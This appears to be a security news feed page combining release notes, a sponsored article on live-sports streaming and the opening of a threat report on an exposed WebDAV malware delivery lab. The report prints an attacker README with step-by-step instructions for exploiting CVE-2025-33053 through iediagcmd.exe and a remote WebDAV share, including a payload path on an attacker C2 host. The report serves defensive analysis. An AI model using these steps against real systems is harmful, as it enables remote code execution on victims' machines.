<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Beginner’s Guide to Setting Up Claude Code for High Performance Agentic Programming]]></title>
<description><![CDATA[This article walks through the actual configuration, permissions, hooks, and command habits that separate a fresh install from a setup that holds up under real, sustained agentic work.]]></description>
<link>https://tsecurity.de/de/3681367/ai-nachrichten/a-beginners-guide-to-setting-up-claude-code-for-high-performance-agentic-programming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681367/ai-nachrichten/a-beginners-guide-to-setting-up-claude-code-for-high-performance-agentic-programming/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This article walks through the actual configuration, permissions, hooks, and command habits that separate a fresh install from a setup that holds up under real, sustained agentic work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Upgrade Your Nintendo Switch for Less With Console and Accessory Deals]]></title>
<description><![CDATA[From must-play games to useful accessories, these Prime Day discounts make it easier to complete your setup.]]></description>
<link>https://tsecurity.de/de/3681365/it-nachrichten/upgrade-your-nintendo-switch-for-less-with-console-and-accessory-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681365/it-nachrichten/upgrade-your-nintendo-switch-for-less-with-console-and-accessory-deals/</guid>
<pubDate>Mon, 20 Jul 2026 16:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From must-play games to useful accessories, these Prime Day discounts make it easier to complete your setup.]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Buy Black Friday in July: Save $550 on the HP Victus, one of our our favorite budget laptops for creators with Ryzen 5 and RTX 3050 performance]]></title>
<description><![CDATA[HP Victus laptop combines Ryzen 5 processing power, RTX 3050 graphics, and a smooth 144Hz display for under $700.]]></description>
<link>https://tsecurity.de/de/3681348/it-nachrichten/best-buy-black-friday-in-july-save-550-on-the-hp-victus-one-of-our-our-favorite-budget-laptops-for-creators-with-ryzen-5-and-rtx-3050-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681348/it-nachrichten/best-buy-black-friday-in-july-save-550-on-the-hp-victus-one-of-our-our-favorite-budget-laptops-for-creators-with-ryzen-5-and-rtx-3050-performance/</guid>
<pubDate>Mon, 20 Jul 2026 16:18:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[HP Victus laptop combines Ryzen 5 processing power, RTX 3050 graphics, and a smooth 144Hz display for under $700.]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

